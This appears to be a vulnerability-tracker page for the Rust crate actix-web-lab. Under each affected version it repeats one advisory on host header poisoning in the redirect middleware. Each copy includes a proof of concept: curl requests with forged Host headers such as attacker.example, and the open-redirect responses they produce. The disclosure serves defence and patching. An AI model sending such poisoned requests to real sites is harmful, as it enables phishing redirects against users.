actix-web-lab

Version	Released
`0.27.0` minor	Aug 24, 2026
`0.26.0` unknown	Mar 10, 2026
`0.25.0` unknown 1 CVE	Feb 24, 2026
`0.24.3` unknown 1 CVE	Aug 20, 2025
`0.24.2` unknown 1 CVE	Jul 14, 2025
`0.24.1` unknown 1 CVE	Mar 11, 2025
`0.24.0` unknown 1 CVE	Mar 08, 2025
`0.23.0` unknown 1 CVE	Oct 15, 2024
`0.22.0` unknown 1 CVE	Aug 10, 2024
`0.21.0` unknown 1 CVE	Aug 04, 2024
`0.20.2` unknown 1 CVE	Jan 26, 2024
`0.20.1` unknown 1 CVE	Nov 18, 2023
`0.20.0` unknown 1 CVE	Oct 25, 2023
`0.19.2` unknown 1 CVE	Oct 16, 2023
`0.19.1` unknown 1 CVE	Feb 26, 2023
`0.19.0` unknown 1 CVE	Feb 19, 2023
`0.18.9` unknown 1 CVE	Jan 02, 2023
`0.18.8` unknown 1 CVE	Dec 10, 2022
`0.18.7` unknown 1 CVE	Dec 10, 2022
`0.18.6` unknown 1 CVE	Dec 08, 2022
`0.18.5` unknown 1 CVE	Oct 13, 2022
`0.18.4` unknown 1 CVE	Oct 09, 2022
`0.18.3` unknown 1 CVE	Oct 01, 2022
`0.18.2` unknown 1 CVE	Sep 13, 2022
`0.18.1` unknown 1 CVE	Sep 13, 2022
`0.18.0` unknown 1 CVE	Sep 13, 2022
`0.17.0` unknown 1 CVE	Aug 09, 2022
`0.16.9` unknown 1 CVE	Aug 07, 2022
`0.16.8` unknown 1 CVE	Aug 07, 2022
`0.16.7` unknown 1 CVE	Jul 27, 2022
`0.16.6` unknown 1 CVE	Jul 27, 2022
`0.16.5` unknown 1 CVE	Jul 24, 2022
`0.16.4` unknown 1 CVE	Jul 03, 2022
`0.16.3` unknown 1 CVE	Jul 03, 2022
`0.16.2` unknown 1 CVE	Jul 02, 2022
`0.16.1` unknown 1 CVE	Apr 23, 2022
`0.16.0` unknown 1 CVE	Apr 11, 2022
`0.15.2` unknown 1 CVE	Apr 08, 2022
`0.15.1` unknown 1 CVE	Apr 07, 2022
`0.15.0` unknown 1 CVE	Mar 07, 2022
`0.14.0` unknown 1 CVE	Mar 07, 2022
`0.13.0` unknown 1 CVE	Mar 03, 2022
`0.12.1` unknown 1 CVE	Mar 02, 2022
`0.12.0` unknown 1 CVE	Feb 25, 2022
`0.11.0` unknown 1 CVE	Feb 22, 2022
`0.10.0` unknown 1 CVE	Feb 07, 2022
`0.9.0` unknown 1 CVE	Jan 22, 2022
`0.8.0` unknown 1 CVE	Jan 20, 2022
`0.7.1` unknown 1 CVE	Jan 19, 2022
`0.7.0` unknown 1 CVE	Jan 18, 2022

0.27.0 minor

Aug 24, 2026

0.26.0 unknown

Mar 10, 2026

0.25.0 unknown

1 CVE

GHSA-vhj5-x93p-67jw Mar 11, 2026

actix-web-lab has host header poisoning in redirect middleware can generate attacker-controlled absolute redirects

5.4 / 10

Medium

Network Low None Required Unchanged Low Low None

Summary

actix-web-lab redirect middleware uses request-derived host information to construct absolute redirect URLs (for example, https://{hostname}{path}). In deployments without strict host allowlisting, an attacker can supply a malicious Host header and poison the Location response header, causing open redirect/phishing behavior.

CVE

Assigned CVE ID: CVE-2025-63762

Details

The issue is in redirect middleware paths that construct absolute URLs from req.connection_info():

actix-web-lab/src/redirect_to_https.rs (around lines 119-132)
- let host = conn_info.host();
- format!("https://{hostname}{path}")
- format!("https://{hostname}:{port}{path}")
actix-web-lab/src/redirect_to_www.rs (around lines 30-35)
- format!("{scheme}://www.{host}{path}")
actix-web-lab/src/redirect_to_non_www.rs (around lines 30-34)
- format!("{scheme}://{host_no_www}{path}")

Because host values come from request connection metadata, untrusted Host input can influence redirect targets when deployment-side host validation is missing.

PoC

Environment used for validation:

Local minimal Actix apps using actix-web-lab middleware
RedirectHttps: http://127.0.0.1:18080
redirect_to_www: http://127.0.0.1:18081
redirect_to_non_www: http://127.0.0.1:18082

Reproduction (RedirectHttps):

curl.exe -i -s "http://127.0.0.1:18080/test" -H "Host: attacker.example"

Observed response:

HTTP/1.1 307 Temporary Redirect
location: https://attacker.example/test

Additional verification:

curl.exe -i -s "http://127.0.0.1:18080/abc/def" -H "Host: evil.example:9999"

Observed response:

HTTP/1.1 307 Temporary Redirect
location: https://evil.example/abc/def

Reproduction (redirect_to_www):

curl.exe -i -s "http://127.0.0.1:18081/hello" -H "Host: attacker.example"

Observed response:

HTTP/1.1 307 Temporary Redirect
location: http://www.attacker.example/hello

Reproduction (redirect_to_non_www):

curl.exe -i -s "http://127.0.0.1:18082/path" -H "Host: www.attacker.example"

Observed response:

HTTP/1.1 307 Temporary Redirect
location: http://attacker.example/path

Impact

This is a Host header poisoning / open redirect issue. Users can be redirected to attacker-controlled domains, enabling phishing and trust-boundary abuse. Any application using these middleware paths without strict host validation (proxy/app allowlisting) is impacted.

Fixed in


          0.26.0

References

Updated Sep 10, 2026 · Source: OSV.dev

Feb 24, 2026

0.24.3 unknown

1 CVE

GHSA-vhj5-x93p-67jw Mar 11, 2026

actix-web-lab has host header poisoning in redirect middleware can generate attacker-controlled absolute redirects

5.4 / 10

Medium

Network Low None Required Unchanged Low Low None

Summary

actix-web-lab redirect middleware uses request-derived host information to construct absolute redirect URLs (for example, https://{hostname}{path}). In deployments without strict host allowlisting, an attacker can supply a malicious Host header and poison the Location response header, causing open redirect/phishing behavior.

CVE

Assigned CVE ID: CVE-2025-63762

Details

The issue is in redirect middleware paths that construct absolute URLs from req.connection_info():

actix-web-lab/src/redirect_to_https.rs (around lines 119-132)
- let host = conn_info.host();
- format!("https://{hostname}{path}")
- format!("https://{hostname}:{port}{path}")
actix-web-lab/src/redirect_to_www.rs (around lines 30-35)
- format!("{scheme}://www.{host}{path}")
actix-web-lab/src/redirect_to_non_www.rs (around lines 30-34)
- format!("{scheme}://{host_no_www}{path}")

Because host values come from request connection metadata, untrusted Host input can influence redirect targets when deployment-side host validation is missing.

PoC

Environment used for validation:

Local minimal Actix apps using actix-web-lab middleware
RedirectHttps: http://127.0.0.1:18080
redirect_to_www: http://127.0.0.1:18081
redirect_to_non_www: http://127.0.0.1:18082

Reproduction (RedirectHttps):

curl.exe -i -s "http://127.0.0.1:18080/test" -H "Host: attacker.example"

Observed response:

HTTP/1.1 307 Temporary Redirect
location: https://attacker.example/test

Additional verification:

curl.exe -i -s "http://127.0.0.1:18080/abc/def" -H "Host: evil.example:9999"

Observed response:

HTTP/1.1 307 Temporary Redirect
location: https://evil.example/abc/def

Reproduction (redirect_to_www):

curl.exe -i -s "http://127.0.0.1:18081/hello" -H "Host: attacker.example"

Observed response:

HTTP/1.1 307 Temporary Redirect
location: http://www.attacker.example/hello

Reproduction (redirect_to_non_www):

curl.exe -i -s "http://127.0.0.1:18082/path" -H "Host: www.attacker.example"

Observed response:

HTTP/1.1 307 Temporary Redirect
location: http://attacker.example/path

Impact

This is a Host header poisoning / open redirect issue. Users can be redirected to attacker-controlled domains, enabling phishing and trust-boundary abuse. Any application using these middleware paths without strict host validation (proxy/app allowlisting) is impacted.

Fixed in


          0.26.0

References

Updated Sep 10, 2026 · Source: OSV.dev

Aug 20, 2025

0.24.2 unknown

1 CVE

GHSA-vhj5-x93p-67jw Mar 11, 2026

actix-web-lab has host header poisoning in redirect middleware can generate attacker-controlled absolute redirects

5.4 / 10

Medium

Network Low None Required Unchanged Low Low None

Summary

actix-web-lab redirect middleware uses request-derived host information to construct absolute redirect URLs (for example, https://{hostname}{path}). In deployments without strict host allowlisting, an attacker can supply a malicious Host header and poison the Location response header, causing open redirect/phishing behavior.

CVE

Assigned CVE ID: CVE-2025-63762

Details

The issue is in redirect middleware paths that construct absolute URLs from req.connection_info():

actix-web-lab/src/redirect_to_https.rs (around lines 119-132)
- let host = conn_info.host();
- format!("https://{hostname}{path}")
- format!("https://{hostname}:{port}{path}")
actix-web-lab/src/redirect_to_www.rs (around lines 30-35)
- format!("{scheme}://www.{host}{path}")
actix-web-lab/src/redirect_to_non_www.rs (around lines 30-34)
- format!("{scheme}://{host_no_www}{path}")

Because host values come from request connection metadata, untrusted Host input can influence redirect targets when deployment-side host validation is missing.

PoC

Environment used for validation:

Local minimal Actix apps using actix-web-lab middleware
RedirectHttps: http://127.0.0.1:18080
redirect_to_www: http://127.0.0.1:18081
redirect_to_non_www: http://127.0.0.1:18082

Reproduction (RedirectHttps):

curl.exe -i -s "http://127.0.0.1:18080/test" -H "Host: attacker.example"

Observed response:

HTTP/1.1 307 Temporary Redirect
location: https://attacker.example/test

Additional verification:

curl.exe -i -s "http://127.0.0.1:18080/abc/def" -H "Host: evil.example:9999"

Observed response:

HTTP/1.1 307 Temporary Redirect
location: https://evil.example/abc/def

Reproduction (redirect_to_www):

curl.exe -i -s "http://127.0.0.1:18081/hello" -H "Host: attacker.example"

Observed response:

HTTP/1.1 307 Temporary Redirect
location: http://www.attacker.example/hello

Reproduction (redirect_to_non_www):

curl.exe -i -s "http://127.0.0.1:18082/path" -H "Host: www.attacker.example"

Observed response:

HTTP/1.1 307 Temporary Redirect
location: http://attacker.example/path

Impact

This is a Host header poisoning / open redirect issue. Users can be redirected to attacker-controlled domains, enabling phishing and trust-boundary abuse. Any application using these middleware paths without strict host validation (proxy/app allowlisting) is impacted.

Fixed in


          0.26.0

References

Updated Sep 10, 2026 · Source: OSV.dev

Jul 14, 2025

0.24.1 unknown

1 CVE

GHSA-vhj5-x93p-67jw Mar 11, 2026

actix-web-lab has host header poisoning in redirect middleware can generate attacker-controlled absolute redirects

5.4 / 10

Medium

Network Low None Required Unchanged Low Low None

Summary

actix-web-lab redirect middleware uses request-derived host information to construct absolute redirect URLs (for example, https://{hostname}{path}). In deployments without strict host allowlisting, an attacker can supply a malicious Host header and poison the Location response header, causing open redirect/phishing behavior.

CVE

Assigned CVE ID: CVE-2025-63762

Details

The issue is in redirect middleware paths that construct absolute URLs from req.connection_info():

actix-web-lab/src/redirect_to_https.rs (around lines 119-132)
- let host = conn_info.host();
- format!("https://{hostname}{path}")
- format!("https://{hostname}:{port}{path}")
actix-web-lab/src/redirect_to_www.rs (around lines 30-35)
- format!("{scheme}://www.{host}{path}")
actix-web-lab/src/redirect_to_non_www.rs (around lines 30-34)
- format!("{scheme}://{host_no_www}{path}")

Because host values come from request connection metadata, untrusted Host input can influence redirect targets when deployment-side host validation is missing.

PoC

Environment used for validation:

Local minimal Actix apps using actix-web-lab middleware
RedirectHttps: http://127.0.0.1:18080
redirect_to_www: http://127.0.0.1:18081
redirect_to_non_www: http://127.0.0.1:18082

Reproduction (RedirectHttps):

curl.exe -i -s "http://127.0.0.1:18080/test" -H "Host: attacker.example"

Observed response:

HTTP/1.1 307 Temporary Redirect
location: https://attacker.example/test

Additional verification:

curl.exe -i -s "http://127.0.0.1:18080/abc/def" -H "Host: evil.example:9999"

Observed response:

HTTP/1.1 307 Temporary Redirect
location: https://evil.example/abc/def

Reproduction (redirect_to_www):

curl.exe -i -s "http://127.0.0.1:18081/hello" -H "Host: attacker.example"

Observed response:

HTTP/1.1 307 Temporary Redirect
location: http://www.attacker.example/hello

Reproduction (redirect_to_non_www):

curl.exe -i -s "http://127.0.0.1:18082/path" -H "Host: www.attacker.example"

Observed response:

HTTP/1.1 307 Temporary Redirect
location: http://attacker.example/path

Impact

This is a Host header poisoning / open redirect issue. Users can be redirected to attacker-controlled domains, enabling phishing and trust-boundary abuse. Any application using these middleware paths without strict host validation (proxy/app allowlisting) is impacted.

Fixed in


          0.26.0

References

Updated Sep 10, 2026 · Source: OSV.dev

Mar 11, 2025

0.24.0 unknown

1 CVE

GHSA-vhj5-x93p-67jw Mar 11, 2026

actix-web-lab has host header poisoning in redirect middleware can generate attacker-controlled absolute redirects

5.4 / 10

Medium

Network Low None Required Unchanged Low Low None

Summary

actix-web-lab redirect middleware uses request-derived host information to construct absolute redirect URLs (for example, https://{hostname}{path}). In deployments without strict host allowlisting, an attacker can supply a malicious Host header and poison the Location response header, causing open redirect/phishing behavior.

CVE

Assigned CVE ID: CVE-2025-63762

Details

The issue is in redirect middleware paths that construct absolute URLs from req.connection_info():

actix-web-lab/src/redirect_to_https.rs (around lines 119-132)
- let host = conn_info.host();
- format!("https://{hostname}{path}")
- format!("https://{hostname}:{port}{path}")
actix-web-lab/src/redirect_to_www.rs (around lines 30-35)
- format!("{scheme}://www.{host}{path}")
actix-web-lab/src/redirect_to_non_www.rs (around lines 30-34)
- format!("{scheme}://{host_no_www}{path}")

Because host values come from request connection metadata, untrusted Host input can influence redirect targets when deployment-side host validation is missing.

PoC

Environment used for validation:

Local minimal Actix apps using actix-web-lab middleware
RedirectHttps: http://127.0.0.1:18080
redirect_to_www: http://127.0.0.1:18081
redirect_to_non_www: http://127.0.0.1:18082

Reproduction (RedirectHttps):

curl.exe -i -s "http://127.0.0.1:18080/test" -H "Host: attacker.example"

Observed response:

HTTP/1.1 307 Temporary Redirect
location: https://attacker.example/test

Additional verification:

curl.exe -i -s "http://127.0.0.1:18080/abc/def" -H "Host: evil.example:9999"

Observed response:

HTTP/1.1 307 Temporary Redirect
location: https://evil.example/abc/def

Reproduction (redirect_to_www):

curl.exe -i -s "http://127.0.0.1:18081/hello" -H "Host: attacker.example"

Observed response:

HTTP/1.1 307 Temporary Redirect
location: http://www.attacker.example/hello

Reproduction (redirect_to_non_www):

curl.exe -i -s "http://127.0.0.1:18082/path" -H "Host: www.attacker.example"

Observed response:

HTTP/1.1 307 Temporary Redirect
location: http://attacker.example/path

Impact

This is a Host header poisoning / open redirect issue. Users can be redirected to attacker-controlled domains, enabling phishing and trust-boundary abuse. Any application using these middleware paths without strict host validation (proxy/app allowlisting) is impacted.

Fixed in


          0.26.0

References

Updated Sep 10, 2026 · Source: OSV.dev

Mar 08, 2025

0.23.0 unknown

1 CVE

GHSA-vhj5-x93p-67jw Mar 11, 2026

actix-web-lab has host header poisoning in redirect middleware can generate attacker-controlled absolute redirects

5.4 / 10

Medium

Network Low None Required Unchanged Low Low None

Summary

actix-web-lab redirect middleware uses request-derived host information to construct absolute redirect URLs (for example, https://{hostname}{path}). In deployments without strict host allowlisting, an attacker can supply a malicious Host header and poison the Location response header, causing open redirect/phishing behavior.

CVE

Assigned CVE ID: CVE-2025-63762

Details

The issue is in redirect middleware paths that construct absolute URLs from req.connection_info():

actix-web-lab/src/redirect_to_https.rs (around lines 119-132)
- let host = conn_info.host();
- format!("https://{hostname}{path}")
- format!("https://{hostname}:{port}{path}")
actix-web-lab/src/redirect_to_www.rs (around lines 30-35)
- format!("{scheme}://www.{host}{path}")
actix-web-lab/src/redirect_to_non_www.rs (around lines 30-34)
- format!("{scheme}://{host_no_www}{path}")

Because host values come from request connection metadata, untrusted Host input can influence redirect targets when deployment-side host validation is missing.

PoC

Environment used for validation:

Local minimal Actix apps using actix-web-lab middleware
RedirectHttps: http://127.0.0.1:18080
redirect_to_www: http://127.0.0.1:18081
redirect_to_non_www: http://127.0.0.1:18082

Reproduction (RedirectHttps):

curl.exe -i -s "http://127.0.0.1:18080/test" -H "Host: attacker.example"

Observed response:

HTTP/1.1 307 Temporary Redirect
location: https://attacker.example/test

Additional verification:

curl.exe -i -s "http://127.0.0.1:18080/abc/def" -H "Host: evil.example:9999"

Observed response:

HTTP/1.1 307 Temporary Redirect
location: https://evil.example/abc/def

Reproduction (redirect_to_www):

curl.exe -i -s "http://127.0.0.1:18081/hello" -H "Host: attacker.example"

Observed response:

HTTP/1.1 307 Temporary Redirect
location: http://www.attacker.example/hello

Reproduction (redirect_to_non_www):

curl.exe -i -s "http://127.0.0.1:18082/path" -H "Host: www.attacker.example"

Observed response:

HTTP/1.1 307 Temporary Redirect
location: http://attacker.example/path

Impact

This is a Host header poisoning / open redirect issue. Users can be redirected to attacker-controlled domains, enabling phishing and trust-boundary abuse. Any application using these middleware paths without strict host validation (proxy/app allowlisting) is impacted.

Fixed in


          0.26.0

References

Updated Sep 10, 2026 · Source: OSV.dev

Oct 15, 2024

0.22.0 unknown

1 CVE

GHSA-vhj5-x93p-67jw Mar 11, 2026

actix-web-lab has host header poisoning in redirect middleware can generate attacker-controlled absolute redirects

5.4 / 10

Medium

Network Low None Required Unchanged Low Low None

Summary

actix-web-lab redirect middleware uses request-derived host information to construct absolute redirect URLs (for example, https://{hostname}{path}). In deployments without strict host allowlisting, an attacker can supply a malicious Host header and poison the Location response header, causing open redirect/phishing behavior.

CVE

Assigned CVE ID: CVE-2025-63762

Details

The issue is in redirect middleware paths that construct absolute URLs from req.connection_info():

actix-web-lab/src/redirect_to_https.rs (around lines 119-132)
- let host = conn_info.host();
- format!("https://{hostname}{path}")
- format!("https://{hostname}:{port}{path}")
actix-web-lab/src/redirect_to_www.rs (around lines 30-35)
- format!("{scheme}://www.{host}{path}")
actix-web-lab/src/redirect_to_non_www.rs (around lines 30-34)
- format!("{scheme}://{host_no_www}{path}")

Because host values come from request connection metadata, untrusted Host input can influence redirect targets when deployment-side host validation is missing.

PoC

Environment used for validation:

Local minimal Actix apps using actix-web-lab middleware
RedirectHttps: http://127.0.0.1:18080
redirect_to_www: http://127.0.0.1:18081
redirect_to_non_www: http://127.0.0.1:18082

Reproduction (RedirectHttps):

curl.exe -i -s "http://127.0.0.1:18080/test" -H "Host: attacker.example"

Observed response:

HTTP/1.1 307 Temporary Redirect
location: https://attacker.example/test

Additional verification:

curl.exe -i -s "http://127.0.0.1:18080/abc/def" -H "Host: evil.example:9999"

Observed response:

HTTP/1.1 307 Temporary Redirect
location: https://evil.example/abc/def

Reproduction (redirect_to_www):

curl.exe -i -s "http://127.0.0.1:18081/hello" -H "Host: attacker.example"

Observed response:

HTTP/1.1 307 Temporary Redirect
location: http://www.attacker.example/hello

Reproduction (redirect_to_non_www):

curl.exe -i -s "http://127.0.0.1:18082/path" -H "Host: www.attacker.example"

Observed response:

HTTP/1.1 307 Temporary Redirect
location: http://attacker.example/path

Impact

This is a Host header poisoning / open redirect issue. Users can be redirected to attacker-controlled domains, enabling phishing and trust-boundary abuse. Any application using these middleware paths without strict host validation (proxy/app allowlisting) is impacted.

Fixed in


          0.26.0

References

Updated Sep 10, 2026 · Source: OSV.dev

Aug 10, 2024

0.21.0 unknown

1 CVE

GHSA-vhj5-x93p-67jw Mar 11, 2026

actix-web-lab has host header poisoning in redirect middleware can generate attacker-controlled absolute redirects

5.4 / 10

Medium

Network Low None Required Unchanged Low Low None

Summary

actix-web-lab redirect middleware uses request-derived host information to construct absolute redirect URLs (for example, https://{hostname}{path}). In deployments without strict host allowlisting, an attacker can supply a malicious Host header and poison the Location response header, causing open redirect/phishing behavior.

CVE

Assigned CVE ID: CVE-2025-63762

Details

The issue is in redirect middleware paths that construct absolute URLs from req.connection_info():

actix-web-lab/src/redirect_to_https.rs (around lines 119-132)
- let host = conn_info.host();
- format!("https://{hostname}{path}")
- format!("https://{hostname}:{port}{path}")
actix-web-lab/src/redirect_to_www.rs (around lines 30-35)
- format!("{scheme}://www.{host}{path}")
actix-web-lab/src/redirect_to_non_www.rs (around lines 30-34)
- format!("{scheme}://{host_no_www}{path}")

Because host values come from request connection metadata, untrusted Host input can influence redirect targets when deployment-side host validation is missing.

PoC

Environment used for validation:

Local minimal Actix apps using actix-web-lab middleware
RedirectHttps: http://127.0.0.1:18080
redirect_to_www: http://127.0.0.1:18081
redirect_to_non_www: http://127.0.0.1:18082

Reproduction (RedirectHttps):

curl.exe -i -s "http://127.0.0.1:18080/test" -H "Host: attacker.example"

Observed response:

HTTP/1.1 307 Temporary Redirect
location: https://attacker.example/test

Additional verification:

curl.exe -i -s "http://127.0.0.1:18080/abc/def" -H "Host: evil.example:9999"

Observed response:

HTTP/1.1 307 Temporary Redirect
location: https://evil.example/abc/def

Reproduction (redirect_to_www):

curl.exe -i -s "http://127.0.0.1:18081/hello" -H "Host: attacker.example"

Observed response:

HTTP/1.1 307 Temporary Redirect
location: http://www.attacker.example/hello

Reproduction (redirect_to_non_www):

curl.exe -i -s "http://127.0.0.1:18082/path" -H "Host: www.attacker.example"

Observed response:

HTTP/1.1 307 Temporary Redirect
location: http://attacker.example/path

Impact

This is a Host header poisoning / open redirect issue. Users can be redirected to attacker-controlled domains, enabling phishing and trust-boundary abuse. Any application using these middleware paths without strict host validation (proxy/app allowlisting) is impacted.

Fixed in


          0.26.0

References

Updated Sep 10, 2026 · Source: OSV.dev

Aug 04, 2024

0.20.2 unknown

1 CVE

GHSA-vhj5-x93p-67jw Mar 11, 2026

actix-web-lab has host header poisoning in redirect middleware can generate attacker-controlled absolute redirects

5.4 / 10

Medium

Network Low None Required Unchanged Low Low None

Summary

actix-web-lab redirect middleware uses request-derived host information to construct absolute redirect URLs (for example, https://{hostname}{path}). In deployments without strict host allowlisting, an attacker can supply a malicious Host header and poison the Location response header, causing open redirect/phishing behavior.

CVE

Assigned CVE ID: CVE-2025-63762

Details

The issue is in redirect middleware paths that construct absolute URLs from req.connection_info():

actix-web-lab/src/redirect_to_https.rs (around lines 119-132)
- let host = conn_info.host();
- format!("https://{hostname}{path}")
- format!("https://{hostname}:{port}{path}")
actix-web-lab/src/redirect_to_www.rs (around lines 30-35)
- format!("{scheme}://www.{host}{path}")
actix-web-lab/src/redirect_to_non_www.rs (around lines 30-34)
- format!("{scheme}://{host_no_www}{path}")

Because host values come from request connection metadata, untrusted Host input can influence redirect targets when deployment-side host validation is missing.

PoC

Environment used for validation:

Local minimal Actix apps using actix-web-lab middleware
RedirectHttps: http://127.0.0.1:18080
redirect_to_www: http://127.0.0.1:18081
redirect_to_non_www: http://127.0.0.1:18082

Reproduction (RedirectHttps):

curl.exe -i -s "http://127.0.0.1:18080/test" -H "Host: attacker.example"

Observed response:

HTTP/1.1 307 Temporary Redirect
location: https://attacker.example/test

Additional verification:

curl.exe -i -s "http://127.0.0.1:18080/abc/def" -H "Host: evil.example:9999"

Observed response:

HTTP/1.1 307 Temporary Redirect
location: https://evil.example/abc/def

Reproduction (redirect_to_www):

curl.exe -i -s "http://127.0.0.1:18081/hello" -H "Host: attacker.example"

Observed response:

HTTP/1.1 307 Temporary Redirect
location: http://www.attacker.example/hello

Reproduction (redirect_to_non_www):

curl.exe -i -s "http://127.0.0.1:18082/path" -H "Host: www.attacker.example"

Observed response:

HTTP/1.1 307 Temporary Redirect
location: http://attacker.example/path

Impact

This is a Host header poisoning / open redirect issue. Users can be redirected to attacker-controlled domains, enabling phishing and trust-boundary abuse. Any application using these middleware paths without strict host validation (proxy/app allowlisting) is impacted.

Fixed in


          0.26.0

References

Updated Sep 10, 2026 · Source: OSV.dev

Jan 26, 2024

0.20.1 unknown

1 CVE

GHSA-vhj5-x93p-67jw Mar 11, 2026

actix-web-lab has host header poisoning in redirect middleware can generate attacker-controlled absolute redirects

5.4 / 10

Medium

Network Low None Required Unchanged Low Low None

Summary

actix-web-lab redirect middleware uses request-derived host information to construct absolute redirect URLs (for example, https://{hostname}{path}). In deployments without strict host allowlisting, an attacker can supply a malicious Host header and poison the Location response header, causing open redirect/phishing behavior.

CVE

Assigned CVE ID: CVE-2025-63762

Details

The issue is in redirect middleware paths that construct absolute URLs from req.connection_info():

actix-web-lab/src/redirect_to_https.rs (around lines 119-132)
- let host = conn_info.host();
- format!("https://{hostname}{path}")
- format!("https://{hostname}:{port}{path}")
actix-web-lab/src/redirect_to_www.rs (around lines 30-35)
- format!("{scheme}://www.{host}{path}")
actix-web-lab/src/redirect_to_non_www.rs (around lines 30-34)
- format!("{scheme}://{host_no_www}{path}")

Because host values come from request connection metadata, untrusted Host input can influence redirect targets when deployment-side host validation is missing.

PoC

Environment used for validation:

Local minimal Actix apps using actix-web-lab middleware
RedirectHttps: http://127.0.0.1:18080
redirect_to_www: http://127.0.0.1:18081
redirect_to_non_www: http://127.0.0.1:18082

Reproduction (RedirectHttps):

curl.exe -i -s "http://127.0.0.1:18080/test" -H "Host: attacker.example"

Observed response:

HTTP/1.1 307 Temporary Redirect
location: https://attacker.example/test

Additional verification:

curl.exe -i -s "http://127.0.0.1:18080/abc/def" -H "Host: evil.example:9999"

Observed response:

HTTP/1.1 307 Temporary Redirect
location: https://evil.example/abc/def

Reproduction (redirect_to_www):

curl.exe -i -s "http://127.0.0.1:18081/hello" -H "Host: attacker.example"

Observed response:

HTTP/1.1 307 Temporary Redirect
location: http://www.attacker.example/hello

Reproduction (redirect_to_non_www):

curl.exe -i -s "http://127.0.0.1:18082/path" -H "Host: www.attacker.example"

Observed response:

HTTP/1.1 307 Temporary Redirect
location: http://attacker.example/path

Impact

This is a Host header poisoning / open redirect issue. Users can be redirected to attacker-controlled domains, enabling phishing and trust-boundary abuse. Any application using these middleware paths without strict host validation (proxy/app allowlisting) is impacted.

Fixed in


          0.26.0

References

Updated Sep 10, 2026 · Source: OSV.dev

Nov 18, 2023

0.20.0 unknown

1 CVE

GHSA-vhj5-x93p-67jw Mar 11, 2026

actix-web-lab has host header poisoning in redirect middleware can generate attacker-controlled absolute redirects

5.4 / 10

Medium

Network Low None Required Unchanged Low Low None

Summary

actix-web-lab redirect middleware uses request-derived host information to construct absolute redirect URLs (for example, https://{hostname}{path}). In deployments without strict host allowlisting, an attacker can supply a malicious Host header and poison the Location response header, causing open redirect/phishing behavior.

CVE

Assigned CVE ID: CVE-2025-63762

Details

The issue is in redirect middleware paths that construct absolute URLs from req.connection_info():

actix-web-lab/src/redirect_to_https.rs (around lines 119-132)
- let host = conn_info.host();
- format!("https://{hostname}{path}")
- format!("https://{hostname}:{port}{path}")
actix-web-lab/src/redirect_to_www.rs (around lines 30-35)
- format!("{scheme}://www.{host}{path}")
actix-web-lab/src/redirect_to_non_www.rs (around lines 30-34)
- format!("{scheme}://{host_no_www}{path}")

Because host values come from request connection metadata, untrusted Host input can influence redirect targets when deployment-side host validation is missing.

PoC

Environment used for validation:

Local minimal Actix apps using actix-web-lab middleware
RedirectHttps: http://127.0.0.1:18080
redirect_to_www: http://127.0.0.1:18081
redirect_to_non_www: http://127.0.0.1:18082

Reproduction (RedirectHttps):

curl.exe -i -s "http://127.0.0.1:18080/test" -H "Host: attacker.example"

Observed response:

HTTP/1.1 307 Temporary Redirect
location: https://attacker.example/test

Additional verification:

curl.exe -i -s "http://127.0.0.1:18080/abc/def" -H "Host: evil.example:9999"

Observed response:

HTTP/1.1 307 Temporary Redirect
location: https://evil.example/abc/def

Reproduction (redirect_to_www):

curl.exe -i -s "http://127.0.0.1:18081/hello" -H "Host: attacker.example"

Observed response:

HTTP/1.1 307 Temporary Redirect
location: http://www.attacker.example/hello

Reproduction (redirect_to_non_www):

curl.exe -i -s "http://127.0.0.1:18082/path" -H "Host: www.attacker.example"

Observed response:

HTTP/1.1 307 Temporary Redirect
location: http://attacker.example/path

Impact

This is a Host header poisoning / open redirect issue. Users can be redirected to attacker-controlled domains, enabling phishing and trust-boundary abuse. Any application using these middleware paths without strict host validation (proxy/app allowlisting) is impacted.

Fixed in


          0.26.0

References

Updated Sep 10, 2026 · Source: OSV.dev

Oct 25, 2023

0.19.2 unknown

1 CVE

GHSA-vhj5-x93p-67jw Mar 11, 2026

actix-web-lab has host header poisoning in redirect middleware can generate attacker-controlled absolute redirects

5.4 / 10

Medium

Network Low None Required Unchanged Low Low None

Summary

actix-web-lab redirect middleware uses request-derived host information to construct absolute redirect URLs (for example, https://{hostname}{path}). In deployments without strict host allowlisting, an attacker can supply a malicious Host header and poison the Location response header, causing open redirect/phishing behavior.

CVE

Assigned CVE ID: CVE-2025-63762

Details

The issue is in redirect middleware paths that construct absolute URLs from req.connection_info():

actix-web-lab/src/redirect_to_https.rs (around lines 119-132)
- let host = conn_info.host();
- format!("https://{hostname}{path}")
- format!("https://{hostname}:{port}{path}")
actix-web-lab/src/redirect_to_www.rs (around lines 30-35)
- format!("{scheme}://www.{host}{path}")
actix-web-lab/src/redirect_to_non_www.rs (around lines 30-34)
- format!("{scheme}://{host_no_www}{path}")

Because host values come from request connection metadata, untrusted Host input can influence redirect targets when deployment-side host validation is missing.

PoC

Environment used for validation:

Local minimal Actix apps using actix-web-lab middleware
RedirectHttps: http://127.0.0.1:18080
redirect_to_www: http://127.0.0.1:18081
redirect_to_non_www: http://127.0.0.1:18082

Reproduction (RedirectHttps):

curl.exe -i -s "http://127.0.0.1:18080/test" -H "Host: attacker.example"

Observed response:

HTTP/1.1 307 Temporary Redirect
location: https://attacker.example/test

Additional verification:

curl.exe -i -s "http://127.0.0.1:18080/abc/def" -H "Host: evil.example:9999"

Observed response:

HTTP/1.1 307 Temporary Redirect
location: https://evil.example/abc/def

Reproduction (redirect_to_www):

curl.exe -i -s "http://127.0.0.1:18081/hello" -H "Host: attacker.example"

Observed response:

HTTP/1.1 307 Temporary Redirect
location: http://www.attacker.example/hello

Reproduction (redirect_to_non_www):

curl.exe -i -s "http://127.0.0.1:18082/path" -H "Host: www.attacker.example"

Observed response:

HTTP/1.1 307 Temporary Redirect
location: http://attacker.example/path

Impact

This is a Host header poisoning / open redirect issue. Users can be redirected to attacker-controlled domains, enabling phishing and trust-boundary abuse. Any application using these middleware paths without strict host validation (proxy/app allowlisting) is impacted.

Fixed in


          0.26.0

References

Updated Sep 10, 2026 · Source: OSV.dev

Oct 16, 2023

0.19.1 unknown

1 CVE

GHSA-vhj5-x93p-67jw Mar 11, 2026

actix-web-lab has host header poisoning in redirect middleware can generate attacker-controlled absolute redirects

5.4 / 10

Medium

Network Low None Required Unchanged Low Low None

Summary

actix-web-lab redirect middleware uses request-derived host information to construct absolute redirect URLs (for example, https://{hostname}{path}). In deployments without strict host allowlisting, an attacker can supply a malicious Host header and poison the Location response header, causing open redirect/phishing behavior.

CVE

Assigned CVE ID: CVE-2025-63762

Details

The issue is in redirect middleware paths that construct absolute URLs from req.connection_info():

actix-web-lab/src/redirect_to_https.rs (around lines 119-132)
